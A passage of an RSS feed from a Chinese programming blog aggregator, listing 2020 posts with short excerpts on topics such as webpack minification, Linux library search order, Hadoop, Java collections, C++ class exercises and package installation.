      <description># 全局安装terser命令行工具 npm install -g terser # 使用terser terser ./foo.js -c pure_funcs=[console.log],toplevel=true -m -o bar.js # -c即compress表示普通的压缩代码 # pure_funcs表示删除代码中的console.log方法 # toplevel为true表示只在顶级作用域压缩清理变量 # -m即mangle会压缩变量名等等 # -o代表输出路径 const TerserPlugin = require(&#34;terser-webpack-plugin&#34;); module.exports = { configureWebpack: { minimizer: [ new TerserPlugin({ terserOptions: { compress: { pure_funcs: [&#34;console.log&#34;] } } }) ] } } webpack插件官网：https://www.webpackjs.com/plugins/compression-webpack-plugin/</description>
    </item>
    <item>
      <title>使用antd-design-vue配合vue框架搭建项目使用组件显示英文的解决办法</title>
      <link>https://bchobby.github.io/posts/b6b5378875b097c8ca2d07be5814d359/</link>
      <pubDate>Fri, 21 Aug 2020 17:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6b5378875b097c8ca2d07be5814d359/</guid>
      <description> 前言:公司项目使用vue框架搭建，但客户方需要使用antd-design-vue这个ui框架进行ui视图，所以我们在搭建的时候碰到了这样一件事情，使用的组件都是英文状态,比如&#xA;我们想要这里变成中文的 页 怎么办呢&#xA;1.找到官网&#xA;https://www.antdv.com/components/locale-provider-cn/ 备注：官网显示的是有这两段代码,但是我们并没有下载，所以会报错，删除即可&#xA;import moment from &#39;moment&#39;; import &#39;moment/locale/zh-cn&#39;; moment.locale(&#39;zh-cn&#39;); 2.翻到底部，找到LocaleProvider 国际化设置&#xA;&amp;lt;template&amp;gt; &amp;lt;a-locale-provider :locale=&#34;zh_CN&#34;&amp;gt; &amp;lt;App /&amp;gt; &amp;lt;/a-locale-provider&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import zh_CN from &#39;ant-design-vue/lib/locale-provider/zh_CN&#39;; export default { data() { return { zh_CN, }; }, }; &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>Linux library查找顺序（按优先级排列）</title>
      <link>https://bchobby.github.io/posts/dfbc5a7002d9b3ff58ceac769851ca0e/</link>
      <pubDate>Fri, 21 Aug 2020 16:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfbc5a7002d9b3ff58ceac769851ca0e/</guid>
      <description>1. -Wl,-rpath-link&#xA;该配置为 “ld option” 其中，-Wl选项告诉编译器将后面的参数传递给链接器 在链接时指定库的路径，不影响程序执行时库的路径 2. -Wl,–rpath=.,–enable-new-dtags&#xA;该配置为 “ld option” 链接可执行程序时写入路径信息DT_RUNPATH 在opensuse上指定-R或–rpath会同时添加DT_RUNPATH和DT_RPATH两个section。对于其他的发行版会只设置RPATH，只有在指定–enable-new-dtags才会加上DT_RUNPATH。 值得注意的是：如果设置了RUN_PATH则完全无视RPATH，而且也不先看自己的RUN_PATH，而是去看LD_LIBRARY_PATH,没有再去看RUN_PATH 3. -Wl,-rpath,&#xA;该配置为 “ld option” -R（或-rpath）指定程序运行时库的路径，当指定多个动态库搜索路径时，路径之间用冒号&#34;：&#34;分隔 -R或-rpath选项将指定的路径信息（DT_RPATH）保存在可执行文件中，运行时它会直接到该路径查找库 写入的DT_RPATH信息可用 ”readelf -d a.out“ 查看 如未找到被加载对象的RPATH，则递归查找其loader直到链条的顶端（可执行程序或被dlopen打开的对象）的RPATH 4. D_RUN_PATH&#xA;该配置为 “environment variable” 在ELF 系统中, 对于native linker，如果未指定-rpath-link 和 -rpath，系统会使用该环境变量指定的路径 5. -L选项&#xA;该配置为 “gcc option” 用于设置动态库的搜索位置 仅在链接时生效，不影响程序执行时库的路径 6. LD_LIBRARY_PATH&#xA;该配置为 “environment variable” 全局有效，指定链接时和运行时库搜索路径 7. /lib&#xA;包含许多被 /bin/ 和 /sbin/ 中的程序使用的内核级库文件 8. /usr/lib&#xA;被/usr目录下的程序所使用的系统级共享库 9. /etc/ld.so.cache&#xA;ldconfig命令在默认搜寻目录/lib和/usr/lib以及动态库配置文件/etc/ld.so.conf内所列的目录下，搜索出可共享的动态链接库（格式如lib*.so*） 搜索结果按名字排序后写入缓存文件/etc/ld.so.cache 往/lib和/usr/lib里面加东西，是不用修改/etc/ld.so.conf的，但之后要调一下ldconfig 往其他目录，一定要修改/etc/ld.so.conf，然后再调用ldconfig 值得注意的是 LD_LIBRARY_PATH 的优先级是高于 /lib 和 /usr/lib 的。</description>
    </item>
    <item>
      <title>虚拟机网络不可用</title>
      <link>https://bchobby.github.io/posts/e3490cab9f68fb80ad323376c30231c6/</link>
      <pubDate>Fri, 21 Aug 2020 16:30:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3490cab9f68fb80ad323376c30231c6/</guid>
      <description>关于虚拟机可以联网，主机可以联网，但是主机却不能ping到虚拟机，也就是主机与虚拟机不通## 初识虚拟机&#xA;解决办法:&#xA;1.电脑下方的搜索栏搜索“虚拟网络编辑器”，点进去进行更改设置。在这里插入图片描述&#xA;2.把“将主机虚拟适配器连接到此网络(v)”勾选，点击“应用”和“确认”。&#xA;3.然后你的网络这里就会出现:&#xA;4.到这就ok了，试一试吧。(本内容借鉴百度回答者“学点笔记”，并且亲测有效😬)希望对屏幕前的你有效，三克油。</description>
    </item>
    <item>
      <title>大数据Hadoop学习之——好友推荐</title>
      <link>https://bchobby.github.io/posts/4c2ae5ac1d88fa50dd69e07ea7c459b5/</link>
      <pubDate>Fri, 21 Aug 2020 11:55:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c2ae5ac1d88fa50dd69e07ea7c459b5/</guid>
      <description>一、算法说明 好友关系如图：&#xA;1、直接相连的表示两个人是直接好友关系；&#xA;2、两个人有相同的好友表示两个人是间接好友（当然可能两个人同时也是直接好友，如图hello和hive）。&#xA;3、好友推荐列表就是按照两个用户的共同好友数量排名&#xA;二、MapReduce分析 1、分两步MapReduce计算完成；&#xA;2、第一步先得到用户的间接好友关系数目，注意有直接好友关系的用户需要过滤掉；&#xA;3、第二步根据间接好友关系数就可以得到用户推荐列表。&#xA;三、MapReduce实现 输入数据 tom hello hadoop cat word hadoop hello hive cat tom hive mr hive hello hive cat hadoop word hello mr hadoop tom hive word hello tom word hive mr 第一个是当前用户，后面的是其好友列表&#xA;第一步——计算好友间接关系数 一、mapper输出两种数据&#xA;1、对各用户的好友列表好友俩俩组合，输出间接好友关系；&#xA;2、当前用户和好友列表好友一一组合，输出直接好友关系。&#xA;注意！！！这里好友关系key需要顺序排序，避免重复记录，如hello:tom和tom:hello都表示同样两个人的关系。&#xA;public class FriendMapper extends Mapper&amp;lt;LongWritable, Text, Text, IntWritable&amp;gt; { private final Text text = new Text(); private final IntWritable mval = new IntWritable(); @Override protected void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { //样本数据：tom hello hadoop cat String[] users = StringUtils.</description>
    </item>
    <item>
      <title>你确定 LinkedList 在新增/删除元素时，效率比 ArrayList 高？</title>
      <link>https://bchobby.github.io/posts/98b45997efe1452a4eaa3f60b89d162d/</link>
      <pubDate>Fri, 21 Aug 2020 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98b45997efe1452a4eaa3f60b89d162d/</guid>
      <description>每天早上七点三十，准时推送干货&#xA;在面试的时候都会被问到集合相关的问题，比如：你能讲讲 ArrayList 和 LinkedList 的区别吗？&#xA;那么我相信你肯定能够答上来：ArrayList 是基于数组实现的， LinkedList 是基于链表实现的&#xA;接下来面试官就会连环问了，那你能讲讲，它们都用在什么场景下吗？&#xA;阿粉知道这种程度肯定难不倒咱们读者的：因为 ArrayList 是基于数组实现的，所以在遍历的时候， ArrayList 的效率是要比 LinkedList 高的， LinkedList 是基于链表实现的，所以在进行新增/删除元素的时候， LinkedList 的效率是要比 ArrayList 高的&#xA;面试官：哦哦，好的，我大概了解了，我这边没有什么想问的了，您回去等消息可以吗&#xA;？？？发生了什么？&#xA;哈哈，上面模拟了一个面试场景，是想引出来这篇文章的主题：LinkedList 在新增/删除元素时，效率比 ArrayList 高，这是真的吗？&#xA;我相信你也知道套路，一般这么一问，那肯定就不是真的了&#xA;放一张图片，这是经过我测试之后的真实结果&#xA;因为微信不能放外链的缘故，可以在公众号后台发送 “20200821” 获取测试代码&#xA;ArrayList 与 LinkedList 新增元素比较 从图中可以看出来， LinkedList 在新增元素时，它的效率不一定比 ArrayList 高，这是要分情况的&#xA;如果是从集合头部位置新增元素的话，那确实是 LinkedList 的效率要比 ArrayList 高&#xA;但是如果是从集合中间位置或者是尾部位置新增元素， ArrayList 效率反而要比 LinkedList 效率要高&#xA;Excuse me ？竟然和我以前学的不一样？阿粉我学的浅，你别骗我&#xA;哈哈哈，为什么会这样呢&#xA;这是因为 ArrayList 是基于数组实现的嘛，而数组是一块连续的内存空间，所以在添加元素到数组头部时，需要对头部后面的数据进行复制重排，所以效率是蛮低的&#xA;但是 LinkedList 是基于链表实现的，在添加元素的时候，首先会通过循环查找到添加元素的位置，如果要添加的位置处于 List 前半段，那就从前向后找;如果位置在后半段，那就从后往前找，所以 LinkedList 添加元素到头部是非常高效的（小声 BB ，这我知道</description>
    </item>
    <item>
      <title>定义一个日期类Date，包括年、月、日等私有数据成员。要求为所定义的Date类设计如下重载运算符函数：</title>
      <link>https://bchobby.github.io/posts/2ba2dc38f48b661f31389b93d424652a/</link>
      <pubDate>Wed, 19 Aug 2020 14:48:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ba2dc38f48b661f31389b93d424652a/</guid>
      <description>题：&#xA;定义一个日期类Date，包括年、月、日等私有数据成员。要求为所定义的Date类设计如下重载运算符函数：&#xA;Date operator+（int days）；//返回一个日期加天数days后得到的日期&#xA;Date operator-（int days）；//返回一个日期减去天数days后得到的日期&#xA;Int operator-（Date&amp;amp; b）；//返回两个日期相差的天数&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Date { private: int year; int month; int day; public: Date(int, int, int); Date operator+(int days); Date operator-(int days); int operator-(Date&amp;amp; b);//运算符重载 int getYear(); int getMonth(); int getDay();//访问器 }; Date::Date(int y = 0, int m = 0, int d = 0) :year(y), month(m), day(d) { }//初始化列表 Date Date::operator+(int days) { if (day + days &amp;gt; 30) { month++; if (month &amp;gt; 12) { month = 1; year++; } day = day + days - 30; } else { day += days; } return *this; }//运算符重载“+”，几天后的天数 Date Date::operator-(int days) { if (day - days &amp;lt; 0) { month--; if (month == 0) { month = 12; year--; } day = day - days + 30; } else { day -= days; } return *this; }//运算符重载“-”，几天前的天数 int Date::operator-(Date&amp;amp; b) { int tmpdays1 = year * 360 + month * 30 + day; int tmpdays2 = b.</description>
    </item>
    <item>
      <title>定义一个Student类，在该类定义中包括：两个数据成员name（学生姓名）和score（分数）；两个静态数据成员total（总分）和count（学生人数）。</title>
      <link>https://bchobby.github.io/posts/26a4ea1deb0db2e4a50d974e88632c62/</link>
      <pubDate>Wed, 19 Aug 2020 14:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26a4ea1deb0db2e4a50d974e88632c62/</guid>
      <description>题：&#xA;定义一个Student类，在该类定义中包括：两个数据成员name（学生姓名）和score（分数）；两个静态数据成员total（总分）和count（学生人数）。成员函数scoretotalcount（float s）用于设置每个学生的分数；静态成员函数sum（）用于返回总分；静态成员函数average（）用于求分数平均值。在main函数中，输入某班同学的成绩（班级学生人数随个数录入情况自动增加），并调用上述函数求全班学生的总分和平均分。``&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Student { public: Student(string); static float total; static int count;//定义静态数据成员 void scoretotalcount(float s); static float sum(); static float average();//定义静态成员函数 private: string name; float score; }; int Student::count = 0; float Student::total = 0; Student::Student(string name) { this-&amp;gt;name = name; count++;&#x9;}//录入学生姓名 void Student::scoretotalcount(float s) { score = s; total += s; }//录入学生成绩并随录入计算总分 float Student::sum() { return total; }//返回全班总分 float Student::average() { return total / count; }//返回全班平均分 int main() { Student student1(&#34;</description>
    </item>
    <item>
      <title>设计一个名为Person的类，并设计两个Person的派生的类Student和Employee。Employee的Faculty和Staff的派生类。</title>
      <link>https://bchobby.github.io/posts/c4a3ae8a747b6b9c32676de6103f03cc/</link>
      <pubDate>Wed, 19 Aug 2020 14:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4a3ae8a747b6b9c32676de6103f03cc/</guid>
      <description>题：&#xA;设计一个名为Person的类，并设计两个Person的派生的类Student和Employee。Employee的Faculty和Staff的派生类。Person类具有name，address，phone number和e-mail。Student具有freshmen， sophonore, junior, or senior四个状态。Employee有office，salary和datehired。定义一个名为MyDate的类，其中包含year，month和day字段。Faculty有officehour和rank。Staff有title。在Person类中定义一个常量虚拟toString函数，并在每个类中覆盖它以显示类名和人名。&#xA;实现类。编写一个测试程序，创建一个Person，Student，Employee，Faculty和Staff，并调用它们的toString（）函数。&#xA;题解：通过继承从基类中派生获取基类的函数等，在派生类中可以设计属于自己的函数可来区别于父类，达到自己的特色，用虚函数和动态绑定来实现tostring（）函数的功能。&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Person { public: Person() { name = &#34;0&#34;; address = &#34;0&#34;; number = 0; mail = &#34;0&#34;; }//无参构造函数 /*Person(string name, string address, int number, string mail) { this-&amp;gt;name = name; this-&amp;gt;address = address; this-&amp;gt;number = number; this-&amp;gt;mail = mail; }*/ Person(string name) { this-&amp;gt;name = name; } void setAddress(string address) { this-&amp;gt;address = address; }//设置地址 void setNumber(int number) { this-&amp;gt;number = number; }//设置电话号码 void setMail(string mail) { this-&amp;gt;mail = mail; }//设置邮箱地址 string name; string address; int number; string mail; virtual string toString() const { return &#34;</description>
    </item>
    <item>
      <title>js计算数组中每个元素出现的次数（2种方法）</title>
      <link>https://bchobby.github.io/posts/f28bbbc0089b074cf9d91f13fc21adde/</link>
      <pubDate>Tue, 18 Aug 2020 20:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f28bbbc0089b074cf9d91f13fc21adde/</guid>
      <description>一 var names = [&#39;Alice&#39;, &#39;Bob&#39;, &#39;Tiff&#39;, &#39;Bruce&#39;, &#39;Alice&#39;]; var countedNames = names.reduce((obj, name) =&amp;gt; { if (name in obj) { obj[name]++ } else { obj[name]=1 } return obj }, {}) //reduce的第二个参数就是obj的初始值 console.log(countedNames) // { &#39;Alice&#39;: 2, &#39;Bob&#39;: 1, &#39;Tiff&#39;: 1, &#39;Bruce&#39;: 1 } 二 function getEleNums(data) { var map = {} for (i = 0; i &amp;lt; data.length; i++) { var key = data[i] if (map[key]) { map[key] += 1 } else { map[key] = 1 } } return map } var data = [&#39;b&#39;,&#39;a&#39;,&#39;c&#39;,&#39;a&#39;,&#39;b&#39;,&#39;b&#39;,&#39;b&#39;,&#39;c&#39;,&#39;c&#39;,&#39;a&#39;,&#39;c&#39;,&#39;a&#39;,&#39;a&#39;,&#39;a&#39;,&#39;b&#39;,&#39;c&#39;] console.</description>
    </item>
    <item>
      <title>anaconda 安装 PuLP</title>
      <link>https://bchobby.github.io/posts/59d871b6a1309eaf1f53e0e19daf0041/</link>
      <pubDate>Tue, 18 Aug 2020 19:18:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59d871b6a1309eaf1f53e0e19daf0041/</guid>
      <description> 在 Ananconda Prompt 中输入&#xA;搜索pulp包 anaconda search -t conda pulp 2. 展示安装方式&#xA;anaconda show conda-forge/pulp 安装 conda install --channel https://conda.anaconda.org/conda-forge pulp </description>
    </item>
    <item>
      <title>Ubuntu下UMFPACK安装教程</title>
      <link>https://bchobby.github.io/posts/81d1cf3fa90caf697e1719c10693f676/</link>
      <pubDate>Tue, 18 Aug 2020 16:19:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81d1cf3fa90caf697e1719c10693f676/</guid>
      <description> 记录程序人生&#xA;环境：linux 我用的是 ubuntu 16.04&#xA;具体步骤：&#xA;1 . 下载ubuntu下的umfpack包&#xA;sudo apt-get install libsuitesparse-dev sudo apt-get install libsuitesparse-doc 2 . 在程序中添加umfpack头文件&#xA;#include &amp;lt;suitesparse/umfpack.h&amp;gt; 3 . 在编译时链接umfpack库&#xA;-lumfpack </description>
    </item>
    <item>
      <title>stm32从bootloader跳转到app不进中断问题分析</title>
      <link>https://bchobby.github.io/posts/30ef686c8fb52fea14b518344cb5da4b/</link>
      <pubDate>Tue, 18 Aug 2020 14:38:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30ef686c8fb52fea14b518344cb5da4b/</guid>
      <description>1、设置VECT_TAB_OFFSET，在system_stm32fxxx.c中。&#xA;在keil中这样设置，可以通过target的设置自动设置VECT_TAB_OFFSET大小。 extern int Image$$ER_IROM1$$Base; #define VECT_TAB_OFFSET ((uint32_t)&amp;amp;Image$$ER_IROM1$$Base) 2、bootloader中开了某个中断，但在app中没有开或没有相应的中断入口。&#xA;3、bootloader在跳转前关闭总中断，app中忘记打开总中断</description>
    </item>
    <item>
      <title>定时任务最简单的3种实现方法（超好用）</title>
      <link>https://bchobby.github.io/posts/6d1f3e747c32e26d6b5d7f443ec2e2cd/</link>
      <pubDate>Tue, 18 Aug 2020 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d1f3e747c32e26d6b5d7f443ec2e2cd/</guid>
      <description>这是我的第 86 篇原创文章&#xA;作者 | 王磊&#xA;来源 | Java中文社群（ID：javacn666）&#xA;转载请联系授权（微信ID：GG_Stone）&#xA;定时任务在实际的开发中特别常见，比如电商平台 30 分钟后自动取消未支付的订单，以及凌晨的数据汇总和备份等，都需要借助定时任务来实现，那么我们本文就来看一下定时任务最简单的几种实现方式。&#xA;TOP 1：Timer Timer 是 JDK 自带的定时任务执行类，无论任何项目都可以直接使用 Timer 来实现定时任务，所以 Timer 的优点就是使用方便，它的实现代码如下：&#xA;public class MyTimerTask { public static void main(String[] args) { // 定义一个任务 TimerTask timerTask = new TimerTask() { @Override public void run() { System.out.println(&#34;Run timerTask：&#34; + new Date()); } }; // 计时器 Timer timer = new Timer(); // 添加执行任务（延迟 1s 执行，每 3s 执行一次） timer.schedule(timerTask, 1000, 3000); } } 程序执行结果如下：</description>
    </item>
    <item>
      <title>springboot之http头中返回码-301,302,304</title>
      <link>https://bchobby.github.io/posts/4f40edb4b1670714b14f60e4648da460/</link>
      <pubDate>Mon, 17 Aug 2020 18:03:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f40edb4b1670714b14f60e4648da460/</guid>
      <description>3xx-返回码简单介绍&#xA;301：资源已经永久迁到新的地址，新的URL会在响应头中返回 302：资源临时被迁到新的地址，新的URL会在响应头中返回 304：表明资源未改变。主要配合请求头中的If-None-Match和If-Modified-Since使用 1.pom.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.ma&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;demo&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/project&amp;gt; 2.启动类配置&#xA;package com.ma.demo; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.web.filter.OncePerRequestFilter; import org.springframework.web.filter.ShallowEtagHeaderFilter; /** * created by &amp;lt;a href=&#34;mailto:18045142590@163.com&#34; &amp;gt; mameng &amp;lt;/a&amp;gt; */ @SpringBootApplication public class DemoApplication { public static void main(String[] args) { SpringApplication.</description>
    </item>
    <item>
      <title>字，字节，位的关系</title>
      <link>https://bchobby.github.io/posts/8634037f214f30bfb26cb9d49970d052/</link>
      <pubDate>Mon, 17 Aug 2020 16:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8634037f214f30bfb26cb9d49970d052/</guid>
      <description>1、位（bit） 来自英文bit，音译为“比特”，表示二进制位。位是计算机内部数据储存的最小单位。&#xA;2、字节（byte） 字节来自英文Byte，音译为“拜特”，习惯上用大写的“B”表示。 字节是计算机中数据处理的基本单位。&#xA;3、字 （word）计算机进行数据处理时，一次存取、加工和传送的数据长度称为字。一个字通常由一个或多个（一般是字节的整数位）字节构成。&#xA;论据：&#xA;先看一段摘抄自《Computer system: a programmer’s perspective》的说明：&#xA;Buses are typically designed to transfer fixed-sized chunks of bytes known aswords. The number of bytes in a word (the word size) is a fundamental system parameter that varies across systems. Most machines today have word sizes of either 4 bytes (32 bits) or 8bytes (64 bits).&#xA;翻译过来就是说：总线一般被设计来传输固定大小的一块数据，这块数据被称为字(word),一个字包含的字节数(即字的大小)是各种计算机系统里面的基本参数，而且这个参数在不同的系统里通常是不同的。大多数的现代计算机系统里面，一个字要么是4个字节（32位），要么是8个字节（64位）.&#xA;结论：&#xA;一个字等于多少个字节，与系统硬件（总线、cpu命令字位数等）有关，不应该毫无前提地说一个字等于多少位。&#xA;①：1字节（byte） = 8位（bit）&#xA;②：在16位的系统中（比如8086微机） 1字 （word）= 2字节（byte）= 16（bit）</description>
    </item>
    <item>
      <title>简单了解一下电商系统中的SPU、SKU、ID，它们都是什么意思，三者又有什么区别和联系呢？</title>
      <link>https://bchobby.github.io/posts/fdcbd854e5bfbd6700f9d626344e144f/</link>
      <pubDate>Mon, 17 Aug 2020 11:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdcbd854e5bfbd6700f9d626344e144f/</guid>
      <description>文章目录 一、前言二、SPU：标准化产品单元三、SKU：库存量单位四、小总结 一、前言 电商时代，数据为王。&#xA;所以电商人入门要懂的第一课，通常会涉及到各种常用名词，UV、PV、GMV、CPC、CPS、CPA、CPM等等，这里对比一下几个常见的产品名词，SPU、SKU、ID，它们都是什么意思，三者又有什么区别和联系呢？&#xA;首先，无论是哪一个电商平台，都是有spu和sku的，只是叫法会不同，以淘宝和京东为例，商品，淘宝叫item，京东叫product。所以淘宝我们虽然看不到spu，但有商品ID。&#xA;二、SPU：标准化产品单元 SPU，是standard product unit，标准化产品单元，是商品信息聚合的最小单位，属性值、特性相同的商品就可以成为一个SPU。（在淘宝看不到spu这个概念，淘宝商品都拥有商品ID(item design)，相当于spu）。SPU 属性(不会影响到库存和价格的属性, 又叫关键属性)。&#xA;SPU是用来定位的，京东前台看不到单品的spu是多少，想查看只能到店铺后台中查看，淘宝是可以在前台链接中看到该商品的ID的，比如：&#xA;这是天猫的一款产品点击主图后进入的页面，最后是id=544576894375，这个是商品的id，在出售中的宝贝中也可以看到：&#xA;而京东的spu就需要到京东后台查看了：&#xA;这个是商智系统，当然后台商品管理里面也是可以看到的，这里写的是商品编码，也就是spu。&#xA;三、SKU：库存量单位 SKU=stock keeping unit(库存量单位)&#xA;SKU是用来定价和管理库存的，7Plus有很多颜色，很多配置，每个颜色和配置的组合都会形成新的产品，这时就产生很多SKU，sku在传统线下行业也是一个非常常用的概念，尤其是服装行业，同款不同尺码不同色都是独立的SKU，需要有独立的条形码，独立的库存管理等。&#xA;SKU是物理上不可分割的最小存货单元。也就是说一款商品，可以根据SKU来确定具体的货物存量。SKU 属性(会影响到库存和价格的属性, 又叫销售属性)。&#xA;如一件M码（四个尺码：S码、M码、L码、X码）的粉色（三种颜色：粉色、黄色、黑色）Zara女士风衣，其中M码、粉色就是一组SKU的组合。&#xA;SKU在生成时，会根据属性生成相应的笛卡尔积，根据一组SKU可以确定商品的库存情况，那么上面的Zara女士风衣一共有4 * 3 = 12个SKU组合。&#xA;M码+粉色 这两个属性组合被称为一组SKU、因为SKU是物理上不可分割的最小存货单元，单凭尺寸或者颜色是没有办法确认这款商品的库存情况。&#xA;同理商家进货补货也是通过SKU来完成的，试问淘宝店家跟供货商说我要100件红色女士风衣？供应商知道该怎么给他备货吗？&#xA;显然是不知道的。因为还欠缺了另外的一个销售属性【尺码】。&#xA;在京东，所有的商品在前台都是看不到spu值的，链接中都是直接显示sku。&#xA;在淘宝，可以从链接中看出ID和sku两个值。&#xA;刚才我们举例的这个商品，这个商品其实是有多个颜色的，接下来我们选择其中的一个颜色，比如青色：&#xA;选择后，我们发现顶部的链接发生的变化，&amp;amp;id=544576894375&amp;amp;skuId=3281815068747刚才的id后，又出现了skuId。&#xA;四、小总结 1）SKU（或称商品SKU）指的是商品子实体。&#xA;2）商品SPU和商品SKU是包含关系，一个商品SPU包含若干个商品SKU子实体，商品SKU从属于商品SPU。&#xA;3）SKU不是编码，每个SKU包含一个唯一编码，即SKU Code，用于管理。&#xA;4）商品本身也有一个编码，即Product Code，但不作为直接库存管理使用&#xA;iPhone 7 Plus 就是一个独立的SPU，爱普生6721墨水也是一个SPU，至于7 plus还有各种颜色，各种配置，墨水有多种颜色，那都是SKU的事情了。统计销售数据，我们通常用到的是SPU，比如我想知道7plus卖了多少台，我通过SPU来查看；但分析客户和市场，通常用SKU更多，比如我想看7plus哪个颜色和配置更受买家欢迎，肯定要用的SKU。</description>
    </item>
    <item>
      <title>.Net Framework Cookie 和 JS localStorage使用</title>
      <link>https://bchobby.github.io/posts/c683a4114e07711e94a24113bed5c1b2/</link>
      <pubDate>Mon, 17 Aug 2020 10:54:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c683a4114e07711e94a24113bed5c1b2/</guid>
      <description>.Net Framework Cookie 和 JS localStorage使用 背景：&#xA;下载万方文档，要求每月有次数限制，超过20次不可以下载，&#xA;以前是每点一次在线阅读，下载全文都计数，并且有重复记录的bug。&#xA;解决方案&#xA;引入Cookie，将文献ID和到期时间记录到Cookie，五分钟内针对同一篇文章不做计数，五分钟以后重新计数并及重新计时。&#xA;原理&#xA;Cookie设置到期时间后，到期自动清除，并不受用户关闭浏览器影响。&#xA;Code&#xA;private bool IsAddCount(HttpContext context) { string id = HttpUtility.UrlDecode(context.Request[&#34;id&#34;]), title = HttpUtility.UrlDecode(context.Request[&#34;title&#34;]); //读取Cookie, 过期浏览器自动清除, 5min之内不计入次数 if (context.Request.Cookies[&#34;wfArticle_&#34; + id] != null) { var sessionid = context.Request.Cookies[&#34;wfArticle_&#34; + id]; return false; } else { //过期重新记录 System.Web.HttpCookie newcookie = new HttpCookie(&#34;wfArticle_&#34; + id); newcookie.Values[&#34;id&#34;] = id; newcookie.Values[&#34;title&#34;] = title; newcookie.Expires = DateTime.Now.AddMinutes(5); context.Response.AppendCookie(newcookie); } return true; } Cookie时间没法从浏览器传到后台，浏览器只根据过期时间管理Cookie</description>
    </item>
    <item>
      <title>idea中导入项目后main方法无法Run</title>
      <link>https://bchobby.github.io/posts/ac2016752464cafa52721b1eedc90981/</link>
      <pubDate>Sun, 16 Aug 2020 09:42:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac2016752464cafa52721b1eedc90981/</guid>
      <description>1.问题:如截图所示,红色框处并未出现run按钮,无法运行&#xA;2.解决办法:调试run按钮&#xA;2.1)如图所示,进行如下两步操作,先点击自己的项目,再点击Open Module Settings&#xA;2.2点击Sources,别忘了点击右下角的Apply或OK&#xA;2.3就这样Run按钮就调试出来了</description>
    </item>
    <item>
      <title>bmap.geocoder_使用Geocoder PHP和Leaflet.js进行映射</title>
      <link>https://bchobby.github.io/posts/ae129ad499a56c1b730be0096ba3122b/</link>
      <pubDate>Sun, 16 Aug 2020 06:12:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae129ad499a56c1b730be0096ba3122b/</guid>
      <description>bmap.geocoder&#xA;Interactive maps inside a web application have a lot of great uses. From visualizing data to highlighting points of interest, maps are expected to communicate ideas within the context of location easily. Web应用程序中的交互式地图有很多用途。 从可视化数据到突出显示兴趣点，人们期望地图可以在位置范围内轻松传达想法。 The hardest part, however, is converting that data into coordinates that the map can understand. Luckily, Geocoder PHP allows us to connect to different geo-coding providers. Combined with Leaflet.js, a simple Javascript library, creating maps is a breeze.</description>
    </item>
    <item>
      <title>使用Nginx的Docker镜像部署前端项目</title>
      <link>https://bchobby.github.io/posts/47ebd0db455c2f5284c602cc634a091b/</link>
      <pubDate>Sun, 16 Aug 2020 00:28:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ebd0db455c2f5284c602cc634a091b/</guid>
